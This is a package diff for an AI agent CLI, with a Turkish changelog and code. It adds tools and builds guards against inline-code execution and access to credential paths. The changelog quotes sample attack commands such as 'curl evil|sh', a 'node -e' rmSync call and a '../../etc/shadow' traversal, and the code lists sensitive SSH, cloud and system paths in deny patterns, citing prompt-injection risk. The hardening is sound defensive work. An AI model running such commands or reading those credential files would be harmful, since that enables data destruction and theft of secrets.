natureco-cli 5.35.0 → 5.37.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -2,6 +2,30 @@
2
2
 
3
3
  All notable changes to NatureCo CLI will be documented in this file.
4
4
 
5
+ ## [5.37.0] - 2026-07-05 — "GÜVENLİK: 2 açık kapatıldı (inline-eval bypass + hassas dosya erişimi)"
6
+
7
+ Sistematik guvenlik taramasi (POC'larla). 20 yikici komuttan 19'u zaten engelliydi; 2 gercek acik bulundu ve kapatildi.
8
+
9
+ ### 🔒 Güvenlik açıkları (kapatıldı)
10
+ - **Inline-kod exec bypass (KRİTİK)**: `node`/`python` allowlist'te (kod calistirma icin gerekli) oldugundan `node -e "require('fs').rmSync(...)"` / `python -c "..."` / `bash -c "curl evil|sh"` gibi INLINE kod, hem exec-allowlist'i hem yikici-komut guard'ini ATLIYORDU (guard komut string'inde "rm -rf" ararken inline kod fs.rmSync kullanabilir). Artik `-e`/`--eval`/`-p`/`-c`/`-r` inline-kod flag'leri + `eval` engellendi; mesru `node script.js` calistirma korunur. Inline kod icin sandboxli `code_execution` araci var.
11
+ - **Hassas dosya erisimi**: safe modda `write_file`/`read_file`/`edit_file` SSH anahtarlari (`~/.ssh/`, `id_rsa`, `.pem`), cloud credential (`.aws/credentials`), config secret (`.natureco/config.json`), sistem (`/etc/passwd|shadow`, System32/etc), `.npmrc`/`.git-credentials`/`.netrc` yollarina erisebiliyordu → prompt-injection ile SSH backdoor / credential sizintisi riski. Artik bu yollar safe modda engelli (goreceli `../../etc/shadow` traversal dahil); proje dosyalari serbest; full modda sahibin sorumlulugunda acilir.
12
+
13
+ Katmanli guvenlik: yikici-komut guard + inline-eval guard + exec-allowlist + hassas-yol guard + 7 araclik safe-mode allowlist. 4 yeni guvenlik regresyon testi. **509 test yeşil**, ESLint temiz.
14
+
15
+ ## [5.36.0] - 2026-07-05 — "13 PHANTOM ARAÇ TANITILDI + feedback body genisletmesi"
16
+
17
+ Sistematik denetim: 90 aracin agentic prompt/allowlist ile karsilastirmasi → **70 arac ajana HIC tanitilmamisti (phantom)**. Yuksek-degerli + guvenli + key gerektirmeyenler tanitildi (kullanicinin "bende olup uygulamada olmayan tool'lari ekle" hedefi).
18
+
19
+ ### ✨ Eklenen (mevcuttu ama ajana kapali/gorunmezdi)
20
+ - **grep_search** (kod tabaninda icerik arama), **git** (ozel arac, operation-bazli), **http_request** (API/webhook), **code_execution** (python/node/bash sandbox), **notebook_edit** (Jupyter), **clarify** (netlestirme sorusu).
21
+ - **macOS asistan**: `calendar_add`, `reminder_add`, `notes_add`, `mac_notify` (Takvim/Hatirlatici/Notlar/bildirim — Windows'ta zarafetle "sadece macOS" der, kullanicinin Mac'inde calisir).
22
+ - **Medya**: `image_generation`, `text_to_speech`, `speech_to_text`.
23
+
24
+ ### 🐛 Düzeltme
25
+ - **`buildFeedback` genisletildi**: http_request gibi araclar `done` donuyor ama sonucu (body) modele GERI DONMUYORDU → ajan "arac calismiyor" sanip 9 araca sapiyordu. Artik body/text/transcript/data/matches vb. genis alan seti + bilinmeyen alanlar JSON'la geri verilir. (E2E: http_request tek cagirida yaniti dogru dondurdu.)
26
+
27
+ Doğrulama: grep_search/git/http_request/code_execution ajan uzerinden E2E; **506 test yeşil**, ESLint temiz.
28
+
5
29
  ## [5.35.0] - 2026-07-05 — "WEB ARAMA + TODO + GIT-ZINCIRI DUZELTMELERI (sistematik denetim devam)"
6
30
 
7
31
  Kullanicinin "tum ozellikleri tek tek test et" talebiyle sistematik denetime devam edildi; ayni kok-neden deseni (arac var ama agentic promptta hic tanitilmamis/yanlis dosya adi) 3 yerde daha bulundu.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "natureco-cli",
3
- "version": "5.35.0",
3
+ "version": "5.37.0",
4
4
  "description": "OpenClaw'dan daha güvenli, daha hızlı, daha ucuz AI agent CLI. Multi-agent, self-evolving skills, audit log, maliyet optimizasyonu ve NatureCo platform-native.",
5
5
  "bin": {
6
6
  "natureco": "bin/natureco.js"
@@ -21,7 +21,15 @@ const os = require('os');
21
21
  // icinde approvals politikasini uyguluyor (isSafeCommand → direkt; tehlikeli → red;
22
22
  // digerleri → allowlist/full moda gore). Yani keyfi/yikici komut calismaz.
23
23
  // Diger ~85 arac (discord, telegram, cron, browser...) bilerek DISARIDA.
24
- const DEFAULT_ALLOWED = ['write_file', 'read_file', 'edit_file', 'skill_view', 'bash', 'file_search', 'list_dir', 'memory_write', 'memory_tree', 'cron_create', 'duckduckgo', 'web_search', 'todo_write'];
24
+ const DEFAULT_ALLOWED = [
25
+ 'write_file', 'read_file', 'edit_file', 'skill_view', 'bash', 'file_search', 'list_dir', 'grep_search',
26
+ 'memory_write', 'memory_tree', 'cron_create', 'duckduckgo', 'web_search', 'todo_write',
27
+ 'git', 'http_request', 'notebook_edit', 'clarify', 'code_execution',
28
+ // macOS asistan yetenekleri (Windows'ta zarafetle "sadece macOS" der; kullanıcının Mac'inde çalışır)
29
+ 'calendar_add', 'reminder_add', 'notes_add', 'mac_notify',
30
+ // medya (kullanıcının kendi provider/API'siyle)
31
+ 'image_generation', 'text_to_speech', 'speech_to_text',
32
+ ];
25
33
 
26
34
  const TOOL_ALIASES = {
27
35
  write_file: 'write_file', create_file: 'write_file', writefile: 'write_file', write: 'write_file', create: 'write_file', save_file: 'write_file', new_file: 'write_file',
@@ -36,6 +44,13 @@ const TOOL_ALIASES = {
36
44
  cron_create: 'cron_create', cron: 'cron_create', schedule_task: 'cron_create', create_cron: 'cron_create',
37
45
  duckduckgo_search: 'duckduckgo', duckduckgo: 'duckduckgo', web_search: 'web_search', search_web: 'web_search', internet_search: 'duckduckgo',
38
46
  todo_write: 'todo_write', todo: 'todo_write', task_write: 'todo_write', todos: 'todo_write',
47
+ grep_search: 'grep_search', grep: 'grep_search', ripgrep: 'grep_search', content_search: 'grep_search', search_code: 'grep_search',
48
+ git: 'git', http_request: 'http_request', http: 'http_request', fetch: 'http_request', curl: 'http_request',
49
+ notebook_edit: 'notebook_edit', clarify: 'clarify', ask_user: 'clarify', code_execution: 'code_execution', run_code: 'code_execution', code_exec: 'code_execution',
50
+ calendar_add: 'calendar_add', add_event: 'calendar_add', reminder_add: 'reminder_add', add_reminder: 'reminder_add',
51
+ notes_add: 'notes_add', add_note: 'notes_add', mac_notify: 'mac_notify', notify: 'mac_notify', notification: 'mac_notify',
52
+ image_generation: 'image_generation', generate_image: 'image_generation', text_to_speech: 'text_to_speech', tts: 'text_to_speech',
53
+ speech_to_text: 'speech_to_text', stt: 'speech_to_text', transcribe: 'speech_to_text',
39
54
  };
40
55
 
41
56
  function expandHome(p) {
@@ -44,6 +59,26 @@ function expandHome(p) {
44
59
  return p;
45
60
  }
46
61
 
62
+ // Hassas dosya yolu koruması (safe modda). Coding-agent proje dosyalarina serbest erisir
63
+ // ama kimlik/secret yollari prompt-injection ile suistimal edilebilir (SSH backdoor,
64
+ // credential sizintisi). Full modda (sahibin opt-in'i) bypass edilir.
65
+ const SENSITIVE_READ = [
66
+ /(^|[\\/])\.ssh[\\/]/i, /id_rsa|id_ed25519|id_ecdsa|id_dsa/i, /\.pem$|\.ppk$|\.key$/i,
67
+ /(^|[\\/])\.aws[\\/]/i, /gcloud[\\/].*(credential|token)/i, /(^|[\\/])\.npmrc$/i,
68
+ /(^|[\\/])\.git-credentials$/i, /\.natureco[\\/]config\.json$/i, /(^|[\\/])\.netrc$/i,
69
+ ];
70
+ const SENSITIVE_WRITE = [
71
+ /(^|[\\/])\.ssh[\\/]/i, // authorized_keys/config yazma = backdoor
72
+ /^\/(etc|usr|bin|sbin|boot|sys)[\\/]/i, // mutlak sistem yollari
73
+ /(^|[\\/])etc[\\/](passwd|shadow|sudoers|hosts|crontab|ssh)/i, // goreceli traversal dahil (../../etc/shadow)
74
+ /System32[\\/]drivers[\\/]etc/i, /\.aws[\\/]credentials/i,
75
+ ];
76
+ function sensitivePathBlocked(p, mode) {
77
+ const s = String(p || '');
78
+ const pats = mode === 'write' ? SENSITIVE_WRITE : SENSITIVE_READ;
79
+ return pats.some((re) => re.test(s));
80
+ }
81
+
47
82
  // Ajanin urettigi komutlar icin ekstra koruma. bash.js kendi politikasini uygular
48
83
  // ama varsayilan 'full' mod yikici komutlari (rm -rf gibi) bile gecirir — bu insan
49
84
  // icin bilincli olabilir, ama MODELIN urettigi komut icin degil. Bu yuzden agentic
@@ -74,6 +109,14 @@ const AGENT_EXEC_BLOCK_PATTERNS = [
74
109
  /\bnpm\s+publish\b/i, /\byarn\s+publish\b/i, /\bpnpm\s+publish\b/i,
75
110
  /\bgit\s+push\b/i, /\bgit\s+remote\s+(add|set-url)\b/i,
76
111
  /\bnpm\s+(un)?deprecate\b/i, /\bnpm\s+owner\b/i,
112
+ // INLINE KOD ÇALIŞTIRMA — allowlist bypass'i (node/python izinli ama -e/-c ile keyfi kod
113
+ // dangerous-guard'i da atlar: "node -e require('fs').rmSync(...)"). Dosya calistirma
114
+ // ("node script.js") izinli kalir; inline kod icin code_execution araci var.
115
+ /\b(node|deno|bun)\s+.*(-e|--eval|-p\b|--print)/i,
116
+ /\b(python3?|py|ruby|perl)\s+.*(-c|-e)\b/i,
117
+ /\b(bash|sh|zsh|dash|ksh)\s+.*-c\b/i,
118
+ /\bphp\s+.*-r\b/i,
119
+ /\beval\b/i,
77
120
  ];
78
121
  // Full modda ("agentExec: full") acilan computer-use araclari: tarayici otomasyonu,
79
122
  // uygulama ac/kapat, GUI (tikla/yaz/ekran goruntusu). Safe modda (varsayilan) KAPALI.
@@ -229,13 +272,21 @@ function buildFeedback(norm, res) {
229
272
  const ok = res && res.success !== false;
230
273
  if (!ok) return `${norm} HATA: ${(res && res.error) || 'bilinmeyen hata'}`;
231
274
  if (norm === 'write_file') return `write_file OK: ${res.path || ''} (${res.size != null ? res.size : '?'} bytes)`;
275
+ // Modelin GORMESI gereken cikti — genis alan seti (arac cesitliligi icin):
276
+ // content(read), output/stdout(bash), body(http), text(tts/transcribe), results/items/matches(search),
277
+ // reply/answer/data/summary/transcript(cesitli). Yoksa tum sonucu (kucuk meta) JSON'la.
232
278
  let body = '';
233
- if (res.content != null) body = String(res.content).slice(0, 2500);
234
- else if (res.output != null) body = String(res.output).slice(0, 2000);
235
- else if (res.stdout != null) body = String(res.stdout).slice(0, 2000);
236
- else if (res.results != null) body = JSON.stringify(res.results).slice(0, 2000);
237
- else if (res.items != null) body = JSON.stringify(res.items).slice(0, 2000);
238
- const head = `${norm} OK` + (res.path ? ` (${res.path})` : '');
279
+ const first = ['content', 'output', 'stdout', 'text', 'transcript', 'body', 'reply', 'answer', 'summary', 'url', 'path'];
280
+ const jsonish = ['results', 'items', 'matches', 'data', 'events', 'entries', 'files'];
281
+ for (const k of first) { if (res[k] != null && String(res[k]).trim()) { body = String(res[k]).slice(0, 2500); break; } }
282
+ if (!body) for (const k of jsonish) { if (res[k] != null) { body = JSON.stringify(res[k]).slice(0, 2000); break; } }
283
+ if (!body) {
284
+ // hicbir bilinen alan yok sonucu oldugu gibi ver (success/error disi anlamli alanlar)
285
+ const meta = {};
286
+ for (const k of Object.keys(res)) if (!['success', 'error'].includes(k)) meta[k] = res[k];
287
+ if (Object.keys(meta).length) body = JSON.stringify(meta).slice(0, 1500);
288
+ }
289
+ const head = `${norm} OK` + (res.path ? ` (${res.path})` : (res.status ? ` (HTTP ${res.status})` : ''));
239
290
  return body ? `${head}:\n${body}` : head;
240
291
  }
241
292
 
@@ -285,6 +336,17 @@ async function executeCall(call, opts = {}) {
285
336
  }
286
337
  if (args.path) args.path = expandHome(args.path);
287
338
 
339
+ // Hassas dosya yolu guard'i (safe modda; full modda sahibin sorumlulugunda). SSH anahtari,
340
+ // cloud credential, config secret gibi yollara yazma/okumayi engeller (backdoor/sizinti).
341
+ if (!opts.execFull && args.path) {
342
+ const wantsWrite = (norm === 'write_file' || norm === 'edit_file');
343
+ const wantsRead = (norm === 'read_file');
344
+ if ((wantsWrite && sensitivePathBlocked(args.path, 'write')) || (wantsRead && sensitivePathBlocked(args.path, 'read'))) {
345
+ records.push({ tool: norm, status: 'error', args: { path: args.path }, error: 'Hassas dosya yolu (guvenli modda engellendi)' });
346
+ return { records, feedback: `${norm}: "${args.path}" hassas bir yol (SSH anahtari/credential/secret) — guvenli modda ERISILEMEZ. Gerekirse kullanici manuel yapabilir ya da tam mod: NATURECO_AGENT_EXEC=full.` };
347
+ }
348
+ }
349
+
288
350
  // Ajan modu guvenlik guard'i: yikici/tehlikeli kabuk komutlarini calistirmadan engelle
289
351
  if (norm === 'bash') {
290
352
  const cmd = (args.command || args.cmd || '').toString();
@@ -261,6 +261,14 @@ async function workflow(params) {
261
261
  '- duckduckgo_search: internetten anlik arama yap (API key gerekmez, HER ZAMAN calisir). parametreler: query, maxResults.',
262
262
  '- web_search: internetten arama (Tavily API key ayarliysa daha zengin sonuc; ayarli degilse hata doner — o zaman duckduckgo_search kullan). parametreler: query, maxResults.',
263
263
  '- todo_write: gorev/yapilacaklar listesi yonet. parametre: action (list/add/update/start/done/remove/clear), + action\'a gore diger alanlar.',
264
+ '- grep_search: dosya ICERIGINDE metin/desen ara (kod tabaninda hizli arama). parametreler: pattern, path, includePattern (opsiyonel glob), maxResults. (bash grep yerine bunu tercih et.)',
265
+ '- git: git islemi. parametreler: operation (status/diff/log/branches/add/commit), args, message (commit icin). (Basit git icin bunu kullan.)',
266
+ '- http_request: HTTP istegi at (API cagrisi, webhook, veri cekme). parametreler: url, method, headers, body.',
267
+ '- code_execution: kod parcasi calistir (sandboxli). parametreler: code, language (python/node/bash).',
268
+ '- notebook_edit: Jupyter (.ipynb) hucre duzenle. parametreler: filePath, ...',
269
+ '- clarify: kullaniciya netlestirme sorusu sor (belirsizlik varsa). parametreler: question, options.',
270
+ '- calendar_add / reminder_add / notes_add / mac_notify: macOS Takvim/Hatirlatici/Notlar/bildirim (kullanici macOS ise; degilse arac "sadece macOS" der).',
271
+ '- image_generation: gorsel uret. parametre: prompt, size. | text_to_speech: metni sese cevir (text). | speech_to_text: sesi metne cevir (audioPath).',
264
272
  '- memory_write: HIZLI tek bilgi kaydet (isim, kisa tercih). parametreler: username ("' + memUser + '"), fact, category. YENI oturumda hatirlanir.',
265
273
  '- memory_tree: AGAC-HAFIZA — zengin/kategorize kalici bilgi (proje, karar, teknik not, kisisel detay). action: index|read|search|append; username="' + memUser + '"; append icin: root (1-kisisel|2-teknik|3-kararlar) + branch (dal basligi) + content (yaprak). YENI oturumda hatirlanir.',
266
274
  '\nKurallar:',